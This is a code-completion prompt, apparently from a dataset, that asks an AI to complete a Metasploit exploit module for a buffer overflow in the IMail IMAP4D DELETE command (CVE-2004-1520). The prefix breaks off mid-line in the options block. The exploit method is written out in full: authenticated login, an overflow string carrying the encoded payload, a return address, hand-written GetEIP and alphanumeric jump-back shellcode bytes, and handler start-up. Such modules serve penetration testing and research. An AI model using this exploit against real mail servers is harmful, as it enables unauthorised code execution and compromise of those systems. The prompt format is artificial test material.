You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: imail_delete.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/imap
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IMail IMAP4D Delete Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the 'DELETE'
        command of the IMail IMAP4D service. This vulnerability
        can only be exploited with a valid username and password.
        This flaw was patched in version 8.14.
      },
      'Author'         => [ 'spoonm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1520'],
          [ 'OSVDB', '11838'],
          [ 'BID', '11675'],
        ],
      'Privileged'     => true,
      'DefaultOptions
    
  def exploit
    connect_login

    print_status("Sending overflow string...")
    req = 'A683 DELETE '
    req << payload.encoded

    # Jump over code
    req << "\x74\x32\x75\x30"
    req << [target.ret].pack('V')
    req << rand_text_alphanumeric(44)

    # GetEIP code
    req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
    req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"

    # Alphanumeric jmp back (edx context)
    req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
    req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
    req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
    req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"

    # Run off the stack, so we don't kill our payload, or something...
    req << rand_text_alphanumeric(600)

    # Terminate the request
    req << "\r\n"

    sock.put(req)

    handler
    disconnect
  end
end